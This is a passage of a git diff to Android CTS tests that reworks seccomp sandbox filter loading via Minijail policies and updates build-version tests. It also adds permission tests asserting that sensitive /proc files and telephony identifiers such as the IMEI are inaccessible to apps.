-  {0x45, 0, 146, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 148, 0, 0x3},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 141, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 139, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 141, 0, 0x4},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 134, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 132, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 134, 0, 0x53564d41},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 127, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 125, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 127, 0, 0x59616d61},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 120, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 118, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 120, 0, 0x29},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 113, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 111, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 113, 0, 0x2b},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 106, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 104, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 106, 0, 0x7f},
-  {0x6, 0, 0, 0x30004},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 98, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 96, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x15, 98, 0, 0x3},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 91, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 89, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x15, 91, 0, 0x1},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 84, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 82, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x15, 84, 0, 0x2},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 77, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 75, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x15, 77, 0, 0x6},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 70, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 68, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x15, 70, 0, 0x7},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 63, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 61, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x15, 63, 0, 0x5},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 56, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 54, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x15, 56, 0, 0x0},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 49, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 47, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x15, 49, 0, 0x406},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 42, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 40, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x15, 0, 43, 0x4},
-  {0x20, 0, 0, 0x24},
-  {0x15, 0, 41, 0x0},
-  {0x20, 0, 0, 0x20},
-  {0x45, 39, 38, 0xffe363fc},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 31, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 29, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 31, 0, 0x12b1},
-  {0x6, 0, 0, 0x30003},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 23, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 21, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 23, 24, 0x1},
-  {0x20, 0, 0, 0x24},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 16, 0xffffffff},
-  {0x20, 0, 0, 0x20},
-  {0x45, 0, 14, 0x80000000},
-  {0x20, 0, 0, 0x20},
-  {0x15, 16, 15, 0x4},
-  {0x20, 0, 0, 0x24},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 9, 0xffffffff},
-  {0x20, 0, 0, 0x20},
-  {0x45, 0, 7, 0x80000000},
-  {0x20, 0, 0, 0x20},
-  {0x45, 10, 9, 0xfffffff8},
-  {0x20, 0, 0, 0x2c},
-  {0x15, 4, 0, 0x0},
-  {0x15, 0, 2, 0xffffffff},
-  {0x20, 0, 0, 0x28},
-  {0x45, 1, 0, 0x80000000},
-  {0x6, 0, 0, 0x30002},
-  {0x20, 0, 0, 0x28},
-  {0x45, 2, 1, 0xfffdb7cc},
-  {0x6, 0, 0, 0x50001},
-  {0x6, 0, 0, 0x7fff0000},
-  {0x6, 0, 0, 0x30001},
-};
-#endif
-
-struct sock_fprog GetTestSeccompFilterProgram() {
-  struct sock_fprog prog = {
-    .len = sizeof(kTestSeccompFilter) / sizeof(struct sock_filter),
-    .filter = kTestSeccompFilter
-  };
-  return prog;
-}
diff --git a/tests/tests/os/jni/seccomp_sample_program.h b/tests/tests/os/jni/seccomp_sample_program.h
deleted file mode 100644
index 1293572..0000000
--- a/tests/tests/os/jni/seccomp_sample_program.h
+++ /dev/null
@@ -1,19 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <linux/filter.h>
-
-struct sock_fprog GetTestSeccompFilterProgram();
diff --git a/tests/tests/os/src/android/os/cts/BuildTest.java b/tests/tests/os/src/android/os/cts/BuildTest.java
index a0446bf..6dec48d 100644
--- a/tests/tests/os/src/android/os/cts/BuildTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildTest.java
@@ -23,6 +23,8 @@
 import dalvik.system.VMRuntime;
 
 import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Modifier;
 import java.util.Arrays;
 import java.util.List;
 import java.util.Scanner;
@@ -30,6 +32,9 @@
 
 import junit.framework.TestCase;
 
+import static android.os.Build.VERSION.CODENAME;
+import static android.os.Build.VERSION_CODES.CUR_DEVELOPMENT;
+
 public class BuildTest extends TestCase {
 
     private static final String RO_PRODUCT_CPU_ABILIST = "ro.product.cpu.abilist";
@@ -218,6 +223,34 @@
         assertTrue(TYPE_PATTERN.matcher(Build.TYPE).matches());
 
         assertNotEmpty(Build.USER);
+
+        // CUR_DEVELOPMENT must be larger than any released version.
+        Field[] fields = Build.VERSION_CODES.class.getDeclaredFields();
+        for (Field field : fields) {
+            if (field.getType().equals(int.class) && Modifier.isStatic(field.getModifiers())) {
+                String fieldName = field.getName();
+                final int fieldValue;
+                try {
+                    fieldValue = field.getInt(null);
+                } catch (IllegalAccessException e) {
+                    throw new AssertionError(e.getMessage());
+                }
+                if (fieldName.equals("CUR_DEVELOPMENT")) {
+                    // It should be okay to change the value of this constant in future, but it
+                    // should at least be a conscious decision.
+                    assertEquals(10000, fieldValue);
+                } else if (fieldName.equals(CODENAME) && !CODENAME.equals("REL")) {
+                    // This is the current development version. Note that fieldName can
+                    // become < CUR_DEVELOPMENT before CODENAME becomes "REL", so we
+                    // can't assertEquals(CUR_DEVELOPMENT, fieldValue) here.
+                    assertTrue("Expected " + fieldName + " value to be <= " + CUR_DEVELOPMENT
+                            + ", got " + fieldValue, fieldValue <= CUR_DEVELOPMENT);
+                } else {
+                    assertTrue("Expected " + fieldName + " value to be < " + CUR_DEVELOPMENT
+                            + ", got " + fieldValue, fieldValue < CUR_DEVELOPMENT);
+                }
+            }
+        }
     }
 
     static final String RO_DEBUGGABLE = "ro.debuggable";
diff --git a/tests/tests/os/src/android/os/cts/BuildVersionTest.java b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
index e39249b..d06171b 100644
--- a/tests/tests/os/src/android/os/cts/BuildVersionTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
@@ -16,10 +16,16 @@
 
 package android.os.cts;
 
+import android.content.res.AssetManager;
 import android.os.Build;
 import android.platform.test.annotations.RestrictedBuildTest;
+import android.support.test.InstrumentationRegistry;
 import android.util.Log;
 
+import java.io.BufferedReader;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.IOException;
 import java.util.Arrays;
 import java.util.HashSet;
 import java.util.Set;
@@ -29,17 +35,16 @@
 public class BuildVersionTest extends TestCase {
 
     private static final String LOG_TAG = "BuildVersionTest";
-    private static final Set<String> EXPECTED_RELEASES =
-            new HashSet<String>(Arrays.asList("7.1","7.1.1","7.1.2"));
     private static final int EXPECTED_SDK = 25;
     private static final String EXPECTED_BUILD_VARIANT = "user";
     private static final String EXPECTED_TAG = "release-keys";
+    private static final String PLATFORM_VERSIONS_FILE = "platform_versions.txt";
 
     @SuppressWarnings("deprecation")
     @RestrictedBuildTest
     public void testReleaseVersion() {
         // Applications may rely on the exact release version
-        assertAnyOf("BUILD.VERSION.RELEASE", Build.VERSION.RELEASE, EXPECTED_RELEASES);
+        assertAnyOf("BUILD.VERSION.RELEASE", Build.VERSION.RELEASE, getExpectedReleases());
         assertEquals("Build.VERSION.SDK", "" + EXPECTED_SDK, Build.VERSION.SDK);
         assertEquals("Build.VERSION.SDK_INT", EXPECTED_SDK, Build.VERSION.SDK_INT);
     }
@@ -94,4 +99,20 @@
                      ", should be one of: " + permittedValues);
         }
     }
+
+    private Set<String> getExpectedReleases() {
+        Set<String> expectedReleases = new HashSet<String>();
+        final AssetManager assets =
+                InstrumentationRegistry.getInstrumentation().getTargetContext().getAssets();
+        String line;
+        try (BufferedReader br =
+                new BufferedReader(new InputStreamReader(assets.open(PLATFORM_VERSIONS_FILE)))) {
+            while ((line = br.readLine()) != null) {
+                expectedReleases.add(line);
+            }
+        } catch (IOException e) {
+            fail("Could not open file " + PLATFORM_VERSIONS_FILE + " to run test");
+        }
+        return expectedReleases;
+    }
 }
diff --git a/tests/tests/os/src/android/os/cts/OSFeatures.java b/tests/tests/os/src/android/os/cts/OSFeatures.java
index 9c4660c..ec8f129 100644
--- a/tests/tests/os/src/android/os/cts/OSFeatures.java
+++ b/tests/tests/os/src/android/os/cts/OSFeatures.java
@@ -21,7 +21,6 @@
         System.loadLibrary("ctsos_jni");
     }
 
-    public static native int getNoNewPrivs();
     public static native int prctlCapBsetRead(int i);
     public static native boolean hasSeccompSupport();
     public static native boolean needsSeccompSupport();
diff --git a/tests/tests/os/src/android/os/cts/SeccompTest.java b/tests/tests/os/src/android/os/cts/SeccompTest.java
index 7376079..1dc2308 100644
--- a/tests/tests/os/src/android/os/cts/SeccompTest.java
+++ b/tests/tests/os/src/android/os/cts/SeccompTest.java
@@ -17,13 +17,16 @@
 package android.os.cts;
 
 import android.app.Service;
-import android.content.Context;
 import android.content.ComponentName;
+import android.content.Context;
 import android.content.Intent;
 import android.content.ServiceConnection;
+import android.content.res.AssetFileDescriptor;
+import android.content.res.AssetManager;
 import android.os.Environment;
 import android.os.IBinder;
 import android.os.ParcelFileDescriptor;
+import android.os.Process;
 import android.os.RemoteException;
 import android.os.MemoryFile;
 import android.os.SystemClock;
@@ -77,15 +80,17 @@
         }
 
         final String[] tests = {
-            "global.mode_strict_support",
-            "global.mode_strict_cannot_call_prctl",
+            /* "global.mode_strict_support", // all Android processes already have seccomp filter */
+            /* "global.mode_strict_cannot_call_prctl", // all Android processes already have seccomp
+             * filter */
             "global.no_new_privs_support",
             "global.mode_filter_support",
             /* "global.mode_filter_without_nnp", // all Android processes already have nnp */
             "global.filter_size_limits",
             "global.filter_chain_limits",
             "global.mode_filter_cannot_move_to_strict",
-            "global.mode_filter_get_seccomp",
+            /* "global.mode_filter_get_seccomp", // all Android processes already have seccomp
+             * filter */
             "global.ALLOW_all",
             "global.empty_prog",
             "global.unknown_ret_is_kill_inside",
@@ -95,8 +100,9 @@
             "global.KILL_one_arg_one",
             "global.KILL_one_arg_six",
             "global.arg_out_of_range",
-            "global.ERRNO_one",
-            "global.ERRNO_one_ok",
+            "global.ERRNO_valid",
+            "global.ERRNO_zero",
+            /* "global.ERRNO_capped", // presently fails */
         };
         runKernelUnitTestSuite(tests);
     }
@@ -177,9 +183,9 @@
     private void runKernelUnitTestSuite(final String[] tests) {
         for (final String test : tests) {
             // TODO: Replace the URL with the documentation when it's finished.
-            assertTrue(test + " failed. This test requires kernel functionality to pass. "
-                       + "Please go to http://XXXXX for instructions on how to enable or "
-                       + "backport the required functionality.",
+            assertTrue(test + " failed. This test requires kernel functionality to pass. Please go to "
+                       + "http://source.android.com/devices/tech/config/kernel.html#Seccomp-BPF-TSYNC"
+                       + " for instructions on how to enable or backport the required functionality.",
                        runKernelUnitTest(test));
         }
     }
@@ -300,7 +306,7 @@
     public static class IsolatedService extends Service {
         private final ISeccompIsolatedService.Stub mService = new ISeccompIsolatedService.Stub() {
             public boolean installFilter() {
-                return installTestFilter();
+                return installTestFilter(getAssets());
             }
 
             public boolean createThread() {
@@ -395,14 +401,78 @@
     }
 
     /**
+     * Loads an architecture-specific policy file from the AssetManager and
+     * installs it using Minijail.
+     */
+    private static boolean installTestFilter(final AssetManager assets) {
+        final String arch = getPolicyAbiString();
+        if (arch == null) {
+            throw new RuntimeException("Unsupported architecture/ABI");
+        }
+
+        try {
+            // Create a pipe onto which we will write the composite Seccomp policy.
+            ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
+            final ParcelFileDescriptor.AutoCloseOutputStream outputStream =
+                    new ParcelFileDescriptor.AutoCloseOutputStream(pipe[1]);
+
+            // The policy files to concat together.
+            final AssetFileDescriptor[] policyFiles = {
+                assets.openFd("minijail/isolated-" + arch + ".policy"),
+                assets.openFd("minijail/isolated-common.policy"),
+                arch.equals("i386") ? null : assets.openFd("minijail/isolated-common-not-i386.policy"),
+            };
+
+            // Convert our PID to ASCII byte string.
+            final byte[] myPidBytes = Integer.toString(Process.myPid()).getBytes();
+
+            // Concatenate all the policyFiles together on the pipe.
+            final byte[] buffer = new byte[2048];
+            for (AssetFileDescriptor policyFile : policyFiles) {
+                if (policyFile == null)
+                    continue;
+
+                final FileInputStream policyStream = policyFile.createInputStream();
+                while (true) {
+                    int bytesRead = policyStream.read(buffer);
+                    if (bytesRead == -1)
+                        break;
+
+                    // Replace the literal '$' with our PID. This allows us to lock down
+                    // certain syscalls that take a pid/tgid.
+                    for (int i = 0; i < bytesRead; i++) {
+                        if (buffer[i] == '$') {
+                            outputStream.write(myPidBytes);
+                        } else {
+                            outputStream.write(buffer[i]);
+                        }
+                    }
+                }
+                policyStream.close();
+            }
+            outputStream.close();
+
+            return nativeInstallTestFilter(pipe[0].detachFd());
+        } catch (IOException e) {
+            throw new RuntimeException("Failed to load policy file", e);
+        }
+    }
+
+    /**
+     * Returns the architecture name policy file substring.
+     */
+    private static native String getPolicyAbiString();
+
+    /**
      * Runs the seccomp_bpf_unittest of the given name.
      */
     private native boolean runKernelUnitTest(final String name);
 
     /**
-     * Installs a test seccomp-bpf filter program that.
+     * Installs a Minijail seccomp policy from a FD. This takes ownership of
+     * the FD and closes it.
      */
-    private native static boolean installTestFilter();
+    private native static boolean nativeInstallTestFilter(int policyFd);
 
     /**
      * Attempts to get the CLOCK_BOOTTIME, which is a violation of the
diff --git a/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java b/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java
index 5a9a4da..faba5d4 100644
--- a/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java
+++ b/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java
@@ -23,14 +23,6 @@
 
 public class SecurityFeaturesTest extends TestCase {
 
-    public void testNoNewPrivs() {
-        int newPrivs = OSFeatures.getNoNewPrivs();
-        // if newPrivs == -1, then old kernel with no PR_SET_NO_NEW_PRIVS (acceptable)
-        // if newPrivs == 0,  then new kernel with PR_SET_NO_NEW_PRIVS disabled (BAD)
-        // if newPrivs == 1,  then new kernel with PR_SET_NO_NEW_PRIVS enabled (GOOD)
-        assertTrue(newPrivs != 0);
-    }
-
     /**
      * Iterate over all possible capabilities, testing to make sure each capability
      * has been removed from the app's capability bounding set.
diff --git a/tests/tests/os/src/android/os/cts/SecurityPatchTest.java b/tests/tests/os/src/android/os/cts/SecurityPatchTest.java
index f7cbcc4..68609e1 100644
--- a/tests/tests/os/src/android/os/cts/SecurityPatchTest.java
+++ b/tests/tests/os/src/android/os/cts/SecurityPatchTest.java
@@ -31,8 +31,8 @@
             "ro.build.version.security_patch should be in the format \"YYYY-MM-DD\". Found \"%s\"";
     private static final String SECURITY_PATCH_DATE_ERROR =
             "ro.build.version.security_patch should be \"%d-%02d\" or later. Found \"%s\"";
-    private static final int SECURITY_PATCH_YEAR = 2017;
-    private static final int SECURITY_PATCH_MONTH = 03;
+    private static final int SECURITY_PATCH_YEAR = 2016;
+    private static final int SECURITY_PATCH_MONTH = 06;
 
     private boolean mSkipTests = false;
 
diff --git a/tests/tests/permission/Android.mk b/tests/tests/permission/Android.mk
index af0f8c4..68fa193 100644
--- a/tests/tests/permission/Android.mk
+++ b/tests/tests/permission/Android.mk
@@ -30,7 +30,10 @@
 LOCAL_JAVA_LIBRARIES := telephony-common
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner guava android-ex-camera2
+    ctstestrunner \
+    guava \
+    android-ex-camera2 \
+    legacy-android-test
 
 LOCAL_JNI_SHARED_LIBRARIES := libctspermission_jni libnativehelper_compat_libc++
 
diff --git a/tests/tests/permission/jni/Android.mk b/tests/tests/permission/jni/Android.mk
index ea45096..03ff0d0 100644
--- a/tests/tests/permission/jni/Android.mk
+++ b/tests/tests/permission/jni/Android.mk
@@ -30,4 +30,6 @@
 LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog
 LOCAL_SDK_VERSION := 23
 
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/permission/jni/android_permission_cts_FileUtils.cpp b/tests/tests/permission/jni/android_permission_cts_FileUtils.cpp
index 0547be4..22dae69 100644
--- a/tests/tests/permission/jni/android_permission_cts_FileUtils.cpp
+++ b/tests/tests/permission/jni/android_permission_cts_FileUtils.cpp
@@ -25,9 +25,9 @@
 #include <grp.h>
 #include <pwd.h>
 #include <string.h>
-#include <ScopedLocalRef.h>
-#include <ScopedPrimitiveArray.h>
-#include <ScopedUtfChars.h>
+#include <nativehelper/ScopedLocalRef.h>
+#include <nativehelper/ScopedPrimitiveArray.h>
+#include <nativehelper/ScopedUtfChars.h>
 
 static jfieldID gFileStatusDevFieldID;
 static jfieldID gFileStatusInoFieldID;
diff --git a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
index 277198e..3530e5b 100644
--- a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
@@ -160,6 +160,24 @@
         assertFalse(f.canExecute());
     }
 
+    /* b/26813932 */
+    @MediumTest
+    public void testProcInterruptsNotReadable() throws Exception {
+        File f = new File("/proc/interrupts");
+        assertFalse(f.canRead());
+        assertFalse(f.canWrite());
+        assertFalse(f.canExecute());
+    }
+
+    /* b/26813932 */
+    @MediumTest
+    public void testProcStatNotReadable() throws Exception {
+        File f = new File("/proc/stat");
+        assertFalse(f.canRead());
+        assertFalse(f.canWrite());
+        assertFalse(f.canExecute());
+    }
+
     @MediumTest
     public void testDevMemSane() throws Exception {
         File f = new File("/dev/mem");
@@ -175,9 +193,7 @@
     @MediumTest
     public void testDevPortSane() throws Exception {
         File f = new File("/dev/port");
-        assertFalse(f.canRead());
-        assertFalse(f.canWrite());
-        assertFalse(f.canExecute());
+        assertFalse(f.exists());
     }
 
     @MediumTest
@@ -538,6 +554,7 @@
                     "/data/mdl",
                     "/data/misc",
                     "/data/misc/bluetooth",
+                    "/data/misc/bluetooth/logs",
                     "/data/misc/dhcp",
                     "/data/misc/lockscreen",
                     "/data/misc/sensor",
diff --git a/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java b/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java
index f93aacf..54c2371 100644
--- a/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java
@@ -16,31 +16,41 @@
 
 package android.permission.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.media.AudioManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 import android.telephony.TelephonyManager;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.SmallTest;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import java.util.Collections;
 
 /**
  * Test the non-location-related functionality of TelephonyManager.
  */
-public class TelephonyManagerPermissionTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class TelephonyManagerPermissionTest {
 
     private boolean mHasTelephony;
     TelephonyManager mTelephonyManager = null;
     private AudioManager mAudioManager;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
         mHasTelephony = getContext().getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_TELEPHONY);
-        mTelephonyManager = (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
+        mTelephonyManager =
+                (TelephonyManager) getContext().getSystemService(Context.TELEPHONY_SERVICE);
         assertNotNull(mTelephonyManager);
-        mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+        mAudioManager = (AudioManager) getContext().getSystemService(Context.AUDIO_SERVICE);
         assertNotNull(mAudioManager);
     }
 
@@ -50,7 +60,7 @@
      * Requires Permission:
      * {@link android.Manifest.permission#READ_PHONE_STATE}.
      */
-    @SmallTest
+    @Test
     public void testGetDeviceId() {
         if (!mHasTelephony) {
             return;
@@ -76,7 +86,7 @@
      * Requires Permission:
      * {@link android.Manifest.permission#READ_PHONE_STATE}.
      */
-    @SmallTest
+    @Test
     public void testGetLine1Number() {
         if (!mHasTelephony) {
             return;
@@ -96,7 +106,7 @@
      * Requires Permission:
      * {@link android.Manifest.permission#READ_PHONE_STATE}.
      */
-    @SmallTest
+    @Test
     public void testGetSimSerialNumber() {
         if (!mHasTelephony) {
             return;
@@ -116,7 +126,7 @@
      * Requires Permission:
      * {@link android.Manifest.permission#READ_PHONE_STATE}.
      */
-    @SmallTest
+    @Test
     public void testGetSubscriberId() {
         if (!mHasTelephony) {
             return;
@@ -136,7 +146,7 @@
      * Requires Permission:
      * {@link android.Manifest.permission#READ_PHONE_STATE}.
      */
-    @SmallTest
+    @Test
     public void testVoiceMailNumber() {
         if (!mHasTelephony) {
             return;
@@ -157,7 +167,7 @@
      * {@link android.Manifest.permission#MODIFY_PHONE_STATE} for
      * {@link AudioManager#MODE_IN_CALL}.
      */
-    @SmallTest
+    @Test
     public void testSetMode() {
         if (!mHasTelephony) {
             return;
@@ -168,9 +178,28 @@
     }
 
     /**
+     * Verify that TelephonyManager.setDataEnabled requires Permission.
+     * <p>
+     * Requires Permission:
+     * {@link android.Manifest.permission#MODIFY_PHONE_STATE}.
+     */
+    @Test
+    public void testSetDataEnabled() {
+        if (!mHasTelephony) {
+            return;
+        }
+        try {
+            mTelephonyManager.setDataEnabled(false);
+            fail("Able to set data enabled");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    /**
      * Verify that Telephony related broadcasts are protected.
      */
-    @SmallTest
+    @Test
     public void testProtectedBroadcasts() {
         if (!mHasTelephony) {
             return;
@@ -215,4 +244,76 @@
         } catch (SecurityException e) {}
 
     }
+
+    /**
+     * Verify that TelephonyManager.getImei requires Permission.
+     * <p>
+     * Requires Permission:
+     * {@link android.Manifest.permission#READ_PHONE_STATE}.
+     */
+    @Test
+    public void testGetImei() {
+        if (!mHasTelephony) {
+            return;
+        }
+
+        try {
+            String imei = mTelephonyManager.getImei();
+            fail("Got IMEI: " + imei);
+        } catch (SecurityException e) {
+            // expected
+        }
+        try {
+            String imei = mTelephonyManager.getImei(0);
+            fail("Got IMEI: " + imei);
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    /**
+     * Verify that TelephonyManager.setAllowedCarriers requires Permission.
+     * <p>
+     * Requires Permission:
+     * {@link android.Manifest.permission#MODIFY_PHONE_STATE}.
+     */
+    @Test
+    public void testSetAllowedCarriers() {
+        if (!mHasTelephony
+                || !getContext().getPackageManager().hasSystemFeature(
+                        PackageManager.FEATURE_TELEPHONY_CARRIERLOCK)) {
+            return;
+        }
+        try {
+            mTelephonyManager.setAllowedCarriers(0, Collections.emptyList());
+            fail("Able to set allowed carriers");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    /**
+     * Verify that TelephonyManager.getAllowedCarriers requires Permission.
+     * <p>
+     * Requires Permission:
+     * {@link android.Manifest.permission#READ_PRIVILEGED_PHONE_STATE}.
+     */
+    @Test
+    public void testGetAllowedCarriers() {
+        if (!mHasTelephony
+                || !getContext().getPackageManager().hasSystemFeature(
+                        PackageManager.FEATURE_TELEPHONY_CARRIERLOCK)) {
+            return;
+        }
+        try {
+            mTelephonyManager.getAllowedCarriers(0);
+            fail("Able to get allowed carriers");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getContext();
+    }
 }
diff --git a/tests/tests/permission2/Android.mk b/tests/tests/permission2/Android.mk
index 1b4251a..07208e3 100755
--- a/tests/tests/permission2/Android.mk
+++ b/tests/tests/permission2/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_JAVA_LIBRARIES := telephony-common
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index b6b2f92..87119a6 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -2022,6 +2022,22 @@
     <permission android:name="android.permission.UPDATE_CONFIG"
                 android:protectionLevel="signature|privileged" />
 
+    <!-- Allows a time zone rule updater application to request
+         the system installs / uninstalls timezone rules.
+         <p>An application requesting this permission is responsible for
+         verifying the source and integrity of the update before passing
+         it off to the installer components.
+         @hide -->
+    <permission android:name="android.permission.UPDATE_TIME_ZONE_RULES"
+                android:protectionLevel="signature|privileged" />
+
+    <!-- Must be required by a time zone rule updater application,
+         to ensure that only the system can trigger it.
+         @hide -->
+    <permission android:name="android.permission.TRIGGER_TIME_ZONE_RULES_CHECK"
+                android:protectionLevel="signature" />
+    <uses-permission android:name="android.permission.TRIGGER_TIME_ZONE_RULES_CHECK"/>
+
     <!-- Allows the system to reset throttling in shortcut manager.
          @hide -->
     <permission android:name="android.permission.RESET_SHORTCUT_MANAGER_THROTTLING"
diff --git a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
index c260706..534481e 100644
--- a/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/ProtectedBroadcastsTest.java
@@ -58,7 +58,7 @@
         "android.intent.action.SIM_STATE_CHANGED",
         "android.intent.action.NETWORK_SET_TIME",
         "android.intent.action.NETWORK_SET_TIMEZONE",
-        "android.intent.action.ACTION_SHOW_NOTICE_ECM_BLOCK_OTHERS",
+        "com.android.internal.intent.action.ACTION_SHOW_NOTICE_ECM_BLOCK_OTHERS",
         "android.intent.action.ACTION_MDN_STATE_CHANGED",
         "android.provider.Telephony.SPN_STRINGS_UPDATED",
         "android.intent.action.ANY_DATA_STATE",
@@ -98,4 +98,4 @@
             }
         }
     }
